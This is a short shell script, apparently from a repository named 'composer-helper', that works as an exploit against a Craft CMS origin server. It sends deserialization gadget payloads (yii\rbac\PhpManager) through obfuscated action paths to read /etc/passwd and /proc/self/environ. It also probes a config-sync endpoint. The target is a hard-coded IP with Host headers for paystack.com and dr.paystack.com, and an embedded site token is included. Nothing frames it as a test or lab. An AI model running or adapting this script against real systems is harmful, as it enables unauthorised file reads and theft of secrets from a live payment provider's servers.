composer-helper/vh7.sh
2026-10-22 15:21:43 +00:00

28 lines
1.8 KiB
Bash

#!/bin/sh
# Gadget file-read without site token + CP trigger check per host on origin ALB
IP=52.51.74.51
TOK='c46f3a7bc2570ff67e324c871eccb889c823fe6e4ed8c90ce9a8d6cdeaa522b41'
N=0
gn() { # host itemFile (no site token)
N=$((N+1)); f=/tmp/gn.$N
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $1" -H 'Content-Type: application/json' -H 'Accept: application/json' --data '{"assetId":96,"handle":{"width":1,"height":1,"as gadget":{"class":"yii\\rbac\\\u0050hpManager","itemFile":"'"$2"'"}}}' "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
echo "N|$1|$2|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-240)"
}
gt() { # host itemFile (with site token)
N=$((N+1)); f=/tmp/gt.$N
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $1" -H 'Content-Type: application/json' -H 'Accept: application/json' -H "X-Craft-Site-Token: $TOK" --data '{"assetId":96,"handle":{"width":1,"height":1,"as gadget":{"class":"yii\\rbac\\\u0050hpManager","itemFile":"'"$2"'"}}}' "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
echo "T|$1|$2|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-240)"
}
ci() { # host
N=$((N+1)); f=/tmp/ci.$N; hf=/tmp/ci.h.$N
c=$(curl -sk -m 10 -D "$hf" -o "$f" -w '%{http_code}' -H "Host: $1" "https://$IP/?p=Jzw5Zk9s47Ku9tCYJ%0b8y9PG8/act%0bions/config-sync/index" 2>/dev/null)
echo "C|$1|$c|$(wc -c <"$f" 2>/dev/null)|$(grep -o '<title>[^<]*' "$f" 2>/dev/null | head -1 | cut -c8-50)|$(grep -i '^location:' "$hf" | tr -d '\r')"
}
gn paystack.com '\u002fetc\u002f\u002e\u002fpasswd'
gn paystack.com '\u002fetc\u002f\u002e\u002fpasswd'
gn paystack.com '\u002fproc\u002fself\u002fenviron'
gn paystack.com '\u002fproc\u002fself\u002fenviron'
gt paystack.com '\u002fetc\u002f\u002e\u002fpasswd'
ci paystack.com
ci dr.paystack.com
echo DONE7